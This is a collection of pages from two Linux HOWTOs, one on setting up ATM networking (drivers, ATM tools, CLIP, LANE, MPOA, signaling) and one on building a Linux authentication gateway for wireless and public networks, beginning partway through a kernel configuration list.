  Use "new" skb structure (CONFIG_ATM_SKB)
  Classical IP over ATM (CONFIG_ATM_CLIP)
    Do NOT send ICMP if no neighbour (CONFIG_ATM_CLIP_NO_ICMP)
  LAN Emulation (LANE) support (CONFIG_ATM_LANE)
    Multi-Protocol Over ATM (MPOA) support (CONFIG_ATM_MPOA)
ATM over TCP (CONFIG_ATM_TCP)
Efficient Networks ENI155P (CONFIG_ATM_ENI)
  Enable extended debugging (CONFIG_ATM_ENI_DEBUG)
  Fine-tune burst settings (CONFIG_ATM_ENI_TUNE_BURST)
    Enable 16W TX bursts (discouraged) (CONFIG_ATM_ENI_BURST_TX_16W)
    Enable 8W TX bursts (recommended) (CONFIG_ATM_ENI_BURST_TX_8W)
    Enable 4W TX bursts (optional) (CONFIG_ATM_ENI_BURST_TX_4W)
    Enable 2W TX bursts (optional) (CONFIG_ATM_ENI_BURST_TX_2W)
    Enable 16W RX bursts (discouraged) (CONFIG_ATM_ENI_BURST_RX_16W)
    Enable 8W RX bursts (discouraged) (CONFIG_ATM_ENI_BURST_RX_8W)
    Enable 4W RX bursts (recommended) (CONFIG_ATM_ENI_BURST_RX_4W)
    Enable 2W RX bursts (optional) (CONFIG_ATM_ENI_BURST_RX_2W)
ZeitNet ZN1221/ZN1225 (CONFIG_ATM_ZATM)
  Enable extended debugging (CONFIG_ATM_ZATM_DEBUG)
  Enable usec resolution timestamps (CONFIG_ATM_ZATM_EXACT_TS)
IDT 77201 (NICStAR) (CONFIG_ATM_NICSTAR)
  Use suni PHY driver (155Mbps) (CONFIG_ATM_NICSTAR_USE_SUNI)
  Use IDT77015 PHY driver (25Mbps) (CONFIG_ATM_NICSTAR_USE_IDT77105)
Madge Ambassador (Collage PCI 155 Server) (CONFIG_ATM_AMBASSADOR)
  Enable debugging messages (CONFIG_ATM_AMBASSADOR_DEBUG)
Madge Horizon [Ultra] (Collage PCI 25 and Collage PCI 155 Client)
  Enable debugging messages (CONFIG_ATM_HORIZON_DEBUG)
Interphase ATM PCI x575/x525/x531 (CONFIG_ATM_IA)
  Enable debugging messages (CONFIG_ATM_IA_DEBUG)

The burst settings of the ENI driver can be fine-tuned. This may be necessary if the default settings lead to buffer overruns in the PCI chipset. See the on-line help on "CONFIG_ATM_ENI_TUNE_BURST" for a detailed discussion of the implications of changing the burst settings.

Note that the file drivers/atm/nicstar.h contains a few configurable settings for the IDT 77201 driver.

Some drivers can also be used with certain compatible cards. The latest information about compatible cards can be found at ATM on Linux information page.

Then build your kernel and reboot.

2.4. Driver Messages

If you've configured the ENI155p-MF driver, you should see two lines like these (512kB for the -C version, 2048kB for the -S version.):

eni(itf 0): rev.0,base=0xff400000,irq=10,mem=512kB (00-20-EA-00-07-56)
eni(itf 0): FPGA,MMF

If you've configured the ZN1221/ZN1225 driver, you will get something like:

zatm(itf 0): rev.3,base=0xf800,irq=11,mem=128kB,MMF (00-20-D4-10-2A-80)
zatm(itf 0): uPD98401 0.5 at 30.024 MHz
zatm(itf 0): 16 shapers, 32 pools, 2048 RX, 3958 VCs

Note that your board needs to be at least at revision level 3 if you want to use it in a Triton-based system.

Note that if you've configured only the ATM over TCP driver, there are no messages at startup, because ATM over TCP devices are created later using the atmtcp command.

2.5. Memory Debugging

If you want to enable debugging for options for memory allocations, you need to install MPR before compiling the ATM tools.

If you chose to download the binary RPM package, you can install MPR like so:

rpm -ivh mpr-x.x-x.rpm

If you chose to download the source, extract mpr-x.x.tar.gz like so:

tar xzvf mpr-x.x.tar.gz

Then do:

cd mpr-x.x
./configure x86-linux
make
make install

Detection of some general mis-use of malloc and free is automatically performed if the program was compiled with MPR present. Tracing of allocations is enabled by setting MPRPC and MPRFI. See doc/mpr.html or doc/mpr.ps in the MPR distribution for details.

Only little run-time overhead is incurred if memory debugging is included, but those environment variables are not set.

2.6. ATM Tools

Now, as the final step, configure and build the ATM tools. Configuration is only necessary if your switch uses UNI 3.1 or 4.0, or if it has certain bugs. The configuration options selected by passing the appropriate options to the ./configure script in the linux-atm distribution.

Note | NOTE
 | Issue ./configure --help from the top-level directory of the linux-atm distribution to view all possible options.

The ATM tools are built with the following commands:

cd linux-atm-x.x.x
./configure
make
make install

Unless otherwise specified when invoking ./configure, make install will install executables in the directory /usr/local/bin and /usr/local/sbin, respectively. Configuration files (except for hosts.atm which is installed in /etc) are installed in /usr/local/etc. Libraries and header files are installed in /usr/local/lib and /usr/local/include, respectively. Man pages are installed in /usr/local/man.

2.7. Extra Packages

Some programs are based on large packages that are already distributed outside of the ATM context. For some packages, patches are contained in the ATM on Linux distribution. They are contained in the src/extra directory of the ATM on Linux distribution.

Currently, the following extra packages are available:

tcpdump

dumps network traffic (enhanced for ATM)

ANS

ATM name server (based on named 4.9.5)

Note that text2atm automatically uses ANS if available, so ans only needs to be installed on systems providing name server functionality or if ATM-aware maintenance tools nslookup, etc.) are needed.

A script hosts2ans.pl to convert a /etc/hosts.atm file to ANS zone files are provided in the src/extra/ANS/ directory. Its use is described at the beginning of the file.

Prev | Home | Next
Introduction |  | Device Setup


Introduction

ATM on Linux HOWTO
Prev Next

1. Introduction

1.1. Acknowledgements and Thanks

This document is largely derived from the Usage Instructions document that was included with the ATM on Linux distribution up until version 0.79. That previous document was written by Werner Almesberger <wa@almsesberger.net> while he was at the Institute for computer Communications and Applications (ICA).

The section Running Two ATM NICs Back-to-Back was primarily written by Richard Jones <rjones@imcl.com>.

1.2. Copyright

Copyright 2001 IBM Corporation

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license can be found at http://www.gnu.org/copyleft/fdl.html.

A large portion of this document is derived from the Usage Instructions included with the ATM on Linux distribution up to version 0.79 which was released under the BSD License, GNU General Public License (GPL), and GNU Lesser General Public License (LGPL).

1.3. Mailing List

There is also a mailing list on which to discuss ATM on Linux. If you have any comments, questions, suggestions, or would just like to get involved, please join the list. You can subscribe and unsubscribe to it at http://lists.sourceforge.net/lists/listinfo/linux-atm-general.

The mailing list is archived at http://www.geocrawler.com/lists/3/SourceForge/6487/0/.

1.4. CVS Access

Users are encouraged to continue to use the releases instead of automatically assuming they should grab the latest version out of CVS. However, if you like living on the edge, here is how to do it.

First, log in anonymously:

% cvs -d:pserver:anonymous@cvs.linux-atm.sourceforge.net.:/cvsroot/linux-atm login

Just hit return when prompted for a password. Then, checkout the repository:

% cvs -z6 -d:pserver:anonymous@cvs.linux-atm.sourceforge.net.:/cvsroot/linux-atm co -P linux-atm

You may also specify a branch to check out specifically:

% cvs -z6 -d:pserver:anonymous@cvs.linux-atm.sourceforge.net.:/cvsroot/linux-atm co -r V2_5_0 linux-atm

In either case, this will create a directory called "linux-atm" with the latest sources in it. When working inside this directory you will not need to specify the '-d' option to CVS. For instance, you could just do

% cvs -z6 up -d

To grab any changes that have been put in the repository (the '-d' option in the above example is to the "up" sub-command and is different than the '-d' used to specify the CVS root directory)

After you have checked out the source tree, you will need to run the autotools script in the top level directory before you can configure, build, and install from that source tree:

# ./autotools
Running aclocal...
Running autoconf...
Running autoheader...
Running automake...
automake: configure.in: installing `./install-sh'
automake: configure.in: installing `./mkinstalldirs'
automake: configure.in: installing `./missing'
configure.in: 26: required file `./ltconfig' not found
automake: Makefile.am: installing `./INSTALL'
automake: configure.in: installing `src/lane/ylwrap'
Finished...  Now run './configure' and 'make'...

If you wish to create a tarred, gzipped distribution file or a RPM distribution file, run make dist or make rpm respectively. The tarred, gzipped file will be placed in the top level of the source tree and the RPM file will be placed in the src/extra/RPMS directory.

The CVS archive may also be browsed on the web at: http://cvs.linux-atm.sourceforge.net/cgi-bin/viewcvs.cgi/linux-atm/linux-atm/.

Finally, if you would like to receive email including every diff that is committed to the repository as they go in, there is a mailing list called "linux-atm-commits": http://lists.sourceforge.net/lists/listinfo/linux-atm-commits.

This mailing list should be treated as receive-only. NO discussion or questions are allowed (even of patches which are sent through that list). All discussion should be kept on the linux-atm-general mailing list.

Prev | Home | Next
ATM on Linux HOWTO |  | Installation


IP Over ATM

ATM on Linux HOWTO
Prev Next

6. IP Over ATM

IP over ATM is supported with Classical IP over ATM (CLIP, defined in RFC1577 [RFC1577], LAN Emulation (LANE, defined in [lanev1] and [lanev2]) and Multi-Protocol Over ATM (MPOA, client only, defined in [mpoav1]).

6.1. CLIP

A demon process is used to generate and answer ARP queries. The actual kernel part maintains a small lookup table only containing partial information.

Man pages: atmarpd(8), atmarp(8)

atmsigd and ilmid must already be running when atmarpd is started. Use the -b option to make sure they're properly synchronized, e.g.

#!/bin/sh
atmsigd -b
ilmid -b
atmarpd -b
...

works, but

#!/bin/sh
atmsigd &
ilmid &
atmarpd &
...

frequently doesn't (yet).

The atmarp program is used to configure ATMARP. First, you have to start atmsigd, ilmid, and atmarpd, then create an IP interface and configure it:

# atmarp -c interface_name
# ifconfig atm0 local_address possibly_more_options up

e.g.

# atmarp -c atm0
# ifconfig atm0 10.0.0.3 up

If only PVCs will be used, they can now be created with a command like

# atmarp -s 10.0.0.4 0.0.70

NULL encapsulation is used if the null keyword is specified. Note that ARP requires LLC/SNAP encapsulation. NULL encapsulation can therefore only be used for PVCs.

When using SVCs, some additional configuration work may be necessary. If the machine is acting as the ATMARP server on that LIS, no additional configuration is required. Otherwise, the ATM address of the ATMARP server has to be configured. This is done by creating an entry for the network address with the option arpsrv set, e.g.

# atmarp -s \
  10.0.0.0 47.0005.80.ffe100.0000.f215.1065.0020EA000756.00 \
  arpsrv

Note that the ATMARP server currently has to be started and configured before any clients are configured.

The kernel ATMARP table can be read via \path{/proc/net/atm/arp}. The table used by atmarpd is regularly printed on standard error if atmarpd is started with the -d option. If atmarpd is invoked without -d, the table is written to the file atmarpd.table in the dump directory (by default /var/run; can be changed with -D), and it can be read with atmarp -a.

6.2. LAN Emulation

Besides Classical IP over ATM, LAN Emulation (LANE) can be used to carry IP over ATM. LANE emulates the characteristics of legacy LAN technology, such as support for broadcasts. LANE server support is described in the src/lane/USAGE file in the linux-atm distribution.

Man pages:
bus(8),
lecs(8),
les(8), and
zeppelin(8)

If you plan to run more than one LANE clients, LANE service or LANE clients and LANE service, you need to specify different local ATM addresses for each demon. Since all the LANE demons use similar service access points (SAPs) they need different ATM addresses to differentiate between connections.

Just as with CLIP, the LANE client consists of two parts: a demon process called zeppelin which takes care of the LANE protocol and kernel part which contains LANE ARP cache.

atmsigd and ilmid must already be running when zeppelin is started. When zeppelin starts, the kernel creates a new interface which can then be configured:

# zeppelin possibly_more_options &
# ifconfig lec0 local_address possibly_more_options up

In the example below, two LANE clients are started. The first client uses default interface lec0, default listen address and tries to join the default ELAN. The other LANE client gets interface lec2 assigned to it, binds to local address mybox3, tries to join ELAN called myelan and will bridge packets between ELAN and Ethernet segments. Address mybox3 is defined in /etc/hosts.atm. Rest of the bridging can be configured by reading the Bridging mini-HOWTO. [bridge-howto]

# zeppelin &
# ifconfig lec0 10.1.1.42 netmask 255.255.255.0 \
                          broadcast 10.1.1.255 up
#
# zeppelin -i 2 -l mybox3 -n myelan -p &
# ifconfig lec2 10.1.2.42 netmask 255.255.255.0 \
                          broadcast 10.1.2.255 up

By default, zeppelin uses interface lec0, binds to local ATM address using selector byte value 0, tries to contact LECS using Well-Known LECS address, joins the default ELAN as defined by the LECS, accepts the MTU size as defined by the LES and will not act as an proxy LEC. These parameters can be tailored with command line options which are defined in zeppelin(8).

zeppelin will automatically join any ELANs which use higher MTU than the default MTU of 1516 bytes. The MTU of the LANE interface will adjust itself according to the MTU of the current ELAN.

The state of the LANE ARP cache entries can be monitored through /proc/net/atm/lec. For each entry the MAC and ATM addresses and status is listed. If the entry has an active connection, the connection identifiers are also listed.

The LANE service ( lecs(8), les(8), and bus(8)) is configured using configuration files. The configuration file syntax is listed on the respective manual pages.

A more detailed description of Linux LANE services is discussed in Marko Kiiskilä's Master's Thesis [kiis].

6.3. MPOA

The Linux MPOA client continues the tradition of user space -- kernel divided ATM services. The demon process called mpcd processes MPOA control packets while the kernel holds MPOA ingress and egress caches and does the packet forwarding.

Man page: mpcd(8)

atmsigd and ilmid must already be running when mpcd is started. Since MPOA detects IP layer flows from LANE traffic, you need to have zeppelin running before MPOA can function. However, the order in which zeppelin and mpcd is started is not fixed. You can kill any of the demons at your will and restart it later without need to restart the other demon. The easiest way to disable MPOA is to kill the running mpcd.

Below is the example from Section LAN Emulation which starts two LANE clients. The configuration has been augmented with two MPOA clients which the LANE clients will serve.

# zeppelin &
# ifconfig lec0 10.1.1.42 netmask 255.255.255.0 \
                          broadcast 10.1.1.255 up
# mpcd -s mybox1 -l mybox2 &
#
# zeppelin -i 2 -l mybox3 -n myelan -p &
# ifconfig lec2 10.1.2.42 netmask 255.255.255.0 \
                          broadcast 10.1.2.255 up
# mpcd -i 2 -s mybox4 -l mybox5 &

The MPOA demon needs two different local ATM addresses which it uses when initiating and receiving data and control connections. The addresses can be the same as with e.g. zeppelin but must be different among other mpcd demons. By default, mpcd does not retrieve configuration information from the LECS. The necessary command line options and an example of using LECS are shown on the mpcd manual page. The manual page also lists the rest of the available options.

The contents of MPOA ingress and egress caches can be monitored through the /proc/net/atm/mpc file.

The Linux MPOA client also supports CBR traffic class for shortcuts SVCs instead of default UBR. The QoS specifications for future shortcuts can be set and modified using /proc/net/atm/mpc.

# echo add 130.230.54.146 tx=80000,1600 rx=tx > /proc/net/atm/mpc
#             # generate enough traffic to trigger a shortcut
# cat /proc/net/atm/mpc
QoS entries for shortcuts:
IP address
  TX:max_pcr pcr     min_pcr max_cdv max_sdu
  RX:max_pcr pcr     min_pcr max_cdv max_sdu
130.230.54.146
     80000   0       0       0       1600
     80000   0       0       0       1600

Interface 2:

Ingress Entries:
IP address      State     Holding time  Packets fwded  VPI VCI
130.230.4.3     invalid   1160          0
130.230.54.146  resolved  542           151            0   109
...

The shortcut to IP address 130.230.54.146 was established with the parameters shown above. There also exist patches which extend the flow detection to fully support layer 4 flows. The layer 4 flows are expressed as a 5 tuple (proto, local addr, local port, remote addr, remote port) and they identify application to application flows. If you are interested, see ftp://sunsite.tut.fi/pub/Local/linux-atm/mpoa/ for the latest patch.

Prev | Home | Next
Signaling |  | Bibliography


Native ATM PVCs

ATM on Linux HOWTO
Prev Next

4. Native ATM PVCs

PVCs can be used for machines that are either connected back to back or via a switch. In the latter case, the cell forwarding has to be manually set up at the switch.

4.1. Traffic Tools

aread/awrite and br/bw are simple programs to access the ATM API. awrite sends the text string passed as its second argument in an AAL5 PDU. aread receives one AAL5 PDU and displays it in hex. Both programs also display the return values of the corresponding system calls and the current values of errno.

bw either sends its standard input or a stream of blocks containing arbitrary data (if a number is passed as its fourth argument) in 8 kB AAL5 PDUs. br receives AAL5 PDUs and writes them to standard output.

The first argument of aread, awrite, br and bw is always the PVC address, i.e. the ATM interface number, the VPI and the VCI number, with a dot between elements. The interface number can be omitted if it is zero. Example:

% awrite 1.0.42 hi

Note that some adapters only support VPI == 0. Also, the VCI range may be limited, e.g 0 to 1023. The interface number can be obtained from the initialization message the driver printed during startup. atm0 is interface 0, atm1 is interface 1, etc. If the system is equipped with a real ATM adapter (e.g. not only atmtcp), that adapter is normally at atm0.

aping receives and sends small AAL5 PDUs on a PVC. It expects that messages it sends are either echoed back or that a similar program on the other side generates a stream of messages. aping reports an error if no messages are received for too long. aping is invoked by specifying the PVC, like aread.

For "real" tests, you should use the modified version of ttcp that comes with this package. The original is available at ftp://ftp.sgi.com/sgi/src/ttcp/. The following options have been added:

-a

use native ATM instead of UDP/TCP. The address must be in the format [itf.]vpi.vci for PVCs, or a valid ATM end system address for SVCs.

-P num

use a CBR connection with a peak cell rate of num cells per second. Default is to use UBR.

-C

disable (UDP) checksums

Example:

%a ttcp_atm -r -a -s 0.90
%b ttcp_atm -t -a -s 0.90

4.2. Direct Cell Access

On adapters where the device driver supports access to raw cells (``AAL0''), individual cells can be composed and received with the atmdump program. Here is an example:

a% sleep 10; date | ./atmdump -t 1 -c 0.51
b% ./atmdump 0.51
825079645.192480: VPI=0 VCI=51, GFC=0x0, CLP=1, Data SDU 1 (PTI 1)
   46 72 69 20 46 65 62 20 32 33 20 31 32 3a 34 37
   3a 32 35 20 47 4d 54 20 31 39 39 36 0a 00 00 00
   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Prev | Home | Next
Device Setup |  | Signaling


Signaling

ATM on Linux HOWTO
Prev Next

5. Signaling

5.1. ATM Hosts File

Because ATM addresses are inconvenient to use, most ATM tools also accept names instead of numeric addresses. The mapping between names and numbers is defined in the file /etc/hosts.atm. The structure of this file is similar to the /etc/hosts file:

numeric_address name(s)

e.g.

47.0005.80FFE1000000F21A26D8.0020EA000EE0.00 pc2-a.fqdn pc2-a
47.0005.80FFE1000000F21A26D8.0020D4102A80.00 pc3-a.fqdn pc3-a

The numeric address can be specified in any of the formats described in [api]. The numeric address(es) of a Linux system can be determined with the command atmaddr -n (see also section Manual Address Configuration).

Many ATM tools also attempt to find the corresponding name when displaying an address. When translating from the numeric form to a name, the first applicable name in the file is used.

In addition to ATM addresses for SVCs, also PVC addresses can be stored in /etc/hosts.atm. If different address types are stored under the same name, the first suitable one will be chosen, i.e. if an application explicitly requests only SVC addresses, any PVC addresses will be ignored.

5.2. ANS

If you have access to the ATM Name Service (ANS, e.g because you've installed the ANS extension), you can use it instead of or in addition to the hosts file by specifying the host that runs ANS in the /etc/resolv.conf file.

For performing reverse lookups of E.164 addresses, the list of telephony country codes needs to be known. That list can be obtained from the International Telecommunications Union. The List of ITU-T Recommendation E.164 Assigned Country Codes is currently available in PDF and Word document formats.

Note | NOTE
 | Should the URL become out of date, the document should easily be found by searching for the document's title at the ITU web site.

The script src/lib/pdf2e164_cc.pl in the atm-linux distribution can be used to create the E.164 county codes table with the PDF version of the country code list, e.g.

perl pdf2e164_cc.pl e164_xxx.pdf >/etc/e164_cc

It should be noted that pdftotext needs to be available in order to run the script above. It can be obtained with xpdf.

5.3. Signaling Demon

Man pages: atmsigd(8) atmsigd.conf(4)

Note that atmsigd's support for point-to-multipoint is very limited: only operation as a single leaf of a point-to-multipoint tree works.

By default, atmsigd is configured to conform to dynamically configure the UNI version. It can be compiled for UNI 3.0, 3.1, or 4.0 specifically by passing the --with-uni=VERSION to the ./configure script in the top-level directory of the linux-atm source distribution.

Note that atmsigd is configured to be paranoid. If it detects unusual problems, it frequently terminates. This will (obviously) change in the future.

atmsigd also looks for a configuration file at the location specified with the -c option. The default location is /usr/local/etc/atmsigd.conf.

5.4. ILMI Demon

ILMI provides a mechanism for automatic address configuration. If there is no switch or if the switch doesn't support ILMI, the ATM addresses must be configured manually (see section Manual Address Configuration). Note that the ILMI demon should not be used on interfaces where addresses are manually configured.

The ILMI demon is started as follows:

ilmid [-b] [-d] [-i local_ip] [-l log_file] [-q qos] [-u uni_version] [-v] [-x] [itf]

-b

background. Run in a forked child process after initializing.

-d

enables debugging output. By default, ilmid is very quiet.

-i local_ip

IP address to tell switch when asked for one. Can be in either dotted decimal or textual format. By default, ilmid uses some heuristics to select a local IP address.

-l logfile

write diagnostic messages to the specified file instead of to standard error. The special name syslog is used to send diagnostics to the system logger.

-q qos

configures the ILMI VC to use the specified quality of service. By default, UBR at link speed is used on the ILMI VC.

-u uni_version

set UNI version. Possible values are 3.0, 3.1, and 4.0. The dot can be omitted. The default value depends on how ilmid was compiled. Typically, it is 3.0.

-v

enables extensive debugging output.

-x

disable inclusion of variable bindings in the ColdstartTrap. Some switches (e.g. the LS100) only work if this option is set.

If no interface number is specified, ilmid serves interface 0. You can check whether address registration was successful with the atmaddr command (see below).

The agent supports only the address registration procedures specified in section 5.8 of the ATM Forum's UNI 3.1 specification. These procedures involve the switch registering the network prefix on the host and the host registering the final ATM address back on the switch. The host accomplishes this by appending an ESI (End System Identifier) and a null selector byte to the network prefix registered by the switch. The ESI is the physical or MAC address of the ATM interface.

5.5. Manual Address Configuration

If your switch doesn't support ILMI, you have to set the ATM address manually on the switch and on the PC(s). On the Linux side, make sure that ilmid doesn't interfere, then use the atmaddr command to set the address(es).

Man pages: atmaddr(8)

Manual configuration of ATM addresses on the switch depends on the brand. On a Fore ASX-200, it can be done with the following command:

conf nsap route new nsap_addr 152 port vpi

e.g.

conf nsap route new 47000580ffe1000000f21510650020ea000ee000 152 1a2 0
                    |<---- NSAP prefix ----->||<--ESI--->|^^
                                                          SEL

The entire NSAP address always has to have a length of 40 digits. Note that you can also use addresses with a different prefix and an ESI that doesn't correspond to any ESI your adapters have. The value of the selector byte (SEL) is ignored.

5.6. Running Two ATM NICs Back-to-Back

It is also possible to run with two ATM NICs connected back-to-back, and no switch in between. This is great for simple test environments.

First, if you're using UTP or STP-5, you need a suitable cable. Our experience with standard 100Base-T back-to-back cables was not good. It appears that the pin-out they use is different. After some false starts, we found that the following cable works:

RJ45                            RJ45
   1        ------------        7
   2        ------------        8

   7        ------------        1
   8        ------------        2

Pins 3, 4, 5, 6 unconnected.

A better way to illustrate this may be to show the proper color schemes for the RJ45 connectors at each end of the back-to-back cable. The first connector should use the following scheme:

RJ45-1
   1 - Brown
   2 - White/Brown
   3 - Unconnected
   4 - Unconnected
   5 - Unconnected
   6 - Unconnected
   7 - Orange
   8 - White/Orange

And the second connector should use this scheme:

RJ45-2
   1 - Orange
   2 - White/Orange
   3 - Unconnected
   4 - Unconnected
   5 - Unconnected
   6 - Unconnected
   7 - Brown
   8 - White/Brown

You can also make up a loopback cable with 1 -- 7 and 2 -- 8 connected for ultra-cheap setups.

Here we have two machines called ``virgil'' and ``nestor''. Substitute your own names as necessary.

One side of the ATM connection needs to use the network version of atmsigd and the other side should use the normal user version. So here on nestor we start atmsigd with:

atmsigd -b -m network

and on virgil with:

atmsigd -b

Without a switch, you won't be able to use ILMI. Instead, create a /etc/hosts.atm file containing two dummy addresses. Our ATM hosts file contains:

47.0005.80FFE1000000F21A26D8.0020EA000EE0.00    nestor-atm
47.0005.80FFE1000000F21A26D8.0020D4102A80.00    virgil-atm

These are completely spurious addresses, of course, but as long as you're not connected to a public or private ATM network, I don't think it matters. To set the address correctly in the driver, we use:

atmaddr -a virgil-atm

on virgil, and:

atmaddr -a nestor-atm

on nestor. Now start atmarpd on both machines in the normal way. Now you (should) have a working ATM set-up. To get IP over ATM working, just follow the instructions in section IP Over ATM.

5.7. Q.2931 Message Dumper

The Q.2931 message compiler also generates a pretty-printer for Q.2931 messages. The executable is called q.dump is stored in the src/qgen directory. Note that it is not copied elsewhere by make install.

q.dump expects a sequence of whitespace-separated hex bytes at standard input and outputs the message structure if the message can be parsed. Example:

% echo 09 03 80 00 05 5A 80 00 06 08 80 00 02 81 83 00 48 \
  00 00 08 | ./q.dump
_pdsc = 9 "Q.2931 user-network call/connection control message"
_cr_len = 3
call_ref = 8388613 (0x800005)
msg_type = 0x5a "RELEASE COMPLETE"
_ext = 1
_flag = 0 "instruction field not significant"
_action_ind = 0 "clear call"
msg_len = 6 (0x6)
  _ie_id = 0x08 "Cause"
    _ext = 1
    cause_cs = 0 "ITU-T standardized"
    _flag = 0 "instruction field not significant"
    _action_ind = 0 "clear call"
    _ie_len = 2 (0x2)
      _ext = 1
      location = 1 "private network serving the local user"
      _ext = 1
      cause = 3 "no route to destination"

Prev | Home | Next
Native ATM PVCs |  | IP Over ATM


Questions and Answers

Authentication Gateway HOWTO
Prev

7. Questions and Answers

This is just a collection of what I believe are the most common questions people might have. Give me more feedback and I will turn this section into a proper FAQ.

  1. Why are the iptables rules not flushing out when a client closes the telnet window? It works if the client logsout of the telnet session. In case of ssh the rules get flushed even if the ssh window is closed.

    I have not come up with a good answer or solution to this problem. Logu has contributed some modifications to pam_iptables and a set of other tools to solve this problem. These tools can be found in the contrib directory with pam_iptables.

Prev | Home
Additional Resources |


Authentication Gateway HOWTO

Nathan Zorn

zornnh@musc.edu

Revision History
Revision 0.05 | 2002-05-10 | Revised by: nhz
Revision 0.04 | 2002-02-28 | Revised by: nhz
Revision 0.03 | 2001-09-28 | Revised by: nhz
Revision 0.02 | 2001-09-28 | Revised by: KET
Revision 0.01 | 2001-09-06 | Revised by: nhz

There are many concerns with the security of wireless networks and public access areas such as libraries or dormitories. These concerns are not met with current security implementations. A work around has been proposed by using an authentication gateway. This gateway addresses the security concerns by forcing the user to authenticate in order to use the network.

Table of Contents
1. Introduction
1.1. Copyright Information
1.2. Disclaimer
1.3. New Versions
1.4. Credits
1.5. Feedback
2. What is needed
2.1. Netfilter
2.2. Software for dynamic Netfilter rules.
2.3. DHCP Server
2.4. Authentication mechanism
2.5. DNS Server
3. Setting up the Gateway Services
3.1. Netfilter Setup
3.2. Dynamic Netfilter rules.
3.3. DHCP Server Setup
3.4. Authentication Method Setup
3.5. DNS Setup
4. Using the authentication gateway
5. Concluding Remarks
6. Additional Resources
7. Questions and Answers
Next
Introduction


Introduction

Authentication Gateway HOWTO
Prev Next

1. Introduction

With wireless networks and public acces areas it is very easy for an unauthorized user to gain access. Unauthorized users can look for a signal and grab connection information from the signal. Unauthorized users can plug their machine into a public terminal and gain access to the network. Security has been put in place such as WEP, but this security can be subverted with tools like AirSnort. One approach to solving these problems is to not rely on the wireless security features , and instead to place an authentication gateway in front of the wireless network or public access area and force users to authenticate against it before using the network. This HOWTO describes how to set up this gateway with Linux.

1.1. Copyright Information

This document is copyrighted (c) 2001 Nathan Zorn. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is available at http://www.gnu.org/copyleft/fdl.html

If you have any questions, please contact <zornnh@musc.edu>

1.2. Disclaimer

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk. As this is a new edition of this document, there may be errors and inaccuracies, that may of course be damaging to your system. Proceed with caution, and although this is highly unlikely, the author(s) do not take any responsibility for that.

All copyrights are held by their by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

1.3. New Versions

The newest release of this document can be found at http://www.itlab.musc.edu/~nathan/authentication_gateway/ . Related HOWTOs can be found at the Linux Documentation Project homepage.

1.4. Credits

Jamin W. Collins

Kristin E Thomas

Logu

1.5. Feedback

Feedback is most certainly welcome for this document. Without your submissions and input, this document wouldn't exist. Please send your additions, comments and criticisms to the following email address : <zornnh@musc.edu>.

Prev | Home | Next
Authentication Gateway HOWTO |  | What is needed


Concluding Remarks

Authentication Gateway HOWTO
Prev Next

5. Concluding Remarks

  • This method of security does not rely on the security provided by the wireless network community. It assumes that the entire wireless network is insecure and outside of your network.

  • The gateway does not encrypt traffic. It only allows you access to the network behind it. If encryption and authentication are desired, a VPN should be used.

Prev | Home | Next
Using the authentication gateway |  | Additional Resources


Additional Resources

Authentication Gateway HOWTO
Prev Next

6. Additional Resources

  • A document describing the NASA implementation of the authentication gateway.

  • A white paper describing how the University of Alberta created an authentication gateway.

  • Nocat.net has an authentication gateway for wireless networks. This software has a web based client.

  • Horatio: Authenticated Network Access is a firewall authentication tool. The premise: Legitimate users want to attach laptops and other mobile hosts to the network, but security demands that illegitimate users be prevented from accessing the internal, secure network and from abusing the general Internet.

Prev | Home | Next
Concluding Remarks |  | Questions and Answers


What is needed

Authentication Gateway HOWTO
Prev Next

2. What is needed

This section describes what is needed for the authentication gateway.

2.1. Netfilter

The authentication gateway uses Netfilter and iptables to manage the firewall. Please see the Netfilter HOWTO .

2.2. Software for dynamic Netfilter rules.

One means to insert and remove Netfilter rules is to use pam_iptables. This is a pluggable authentication module (PAM) written by Nathan Zorn that can be found at http://www.itlab.musc.edu/~nathan/pam_iptables . This PAM module allows users to use ssh and telnet to authenticate to the gateway.

Another means to dynamically remove and create Netfilter rules is to use NocatAuth. NocatAuth can be found at http://nocat.net . NocatAuth provides a web client for authenticating to the gateway.

2.3. DHCP Server

The authentication gateway will act as the dynamic host configuration protocol (DHCP) server for the public network. It only serves those requesting DHCP services on the public network. I used the ISC DHCP Server .

2.4. Authentication mechanism

The gateway can use any means of PAM authentication. The authentication mechanism the Medical University of South Carolina uses is LDAP. Since LDAP was used for authentication, the pam modules on the gateway box were set up to use LDAP. More information can be found at http://www.padl.com/pam_ldap.html . PAM allows you to use many means of authentication. Please see the documentation for the PAM module you would like to use. For more information on other methods, see pam modules .

If NocatAuth is used, an authentication service needs to be setup. The NocatAuth authentication service supports authentication with LDAP,RADIUS,MySQL,and a password file. More information can be found at http://nocat.net/download/NoCatAuth/ .

2.5. DNS Server

The gateway box also serves as a DNS server for the public network. I installed Bind, and set it up as a caching nameserver. The rpm package caching-namserver was also used. This package came with Red Hat.

Prev | Home | Next
Introduction |  | Setting up the Gateway Services


Setting up the Gateway Services

Authentication Gateway HOWTO
Prev Next

3. Setting up the Gateway Services

This section describes how to setup each piece of the authentication gateway. The examples used are for a public network in the 10.0.1.0 subnet. eth0 is the interface on the box that is connected to the internal network. eth1 is the interface connected to the public network. The IP address used for this interface is 10.0.1.1. These settings can be changed to fit the network you are using. Red Hat 7.1 was used for the gateway box, so a lot of the examples are specific to Red Hat.

3.1. Netfilter Setup

To setup netfilter the kernel must be recompiled to include netfilter support. Please see the Kernel-HOWTO for more information on configuring and compiling your kernel.

This is what my kernel configuration looked like.
   #
   # Networking options
   #
   CONFIG_PACKET=y
   # CONFIG_PACKET_MMAP is not set
   # CONFIG_NETLINK is not set
   CONFIG_NETFILTER=y
   CONFIG_NETFILTER_DEBUG=y
   CONFIG_FILTER=y
   CONFIG_UNIX=y
   CONFIG_INET=y
   CONFIG_IP_MULTICAST=y
   # CONFIG_IP_ADVANCED_ROUTER is not set
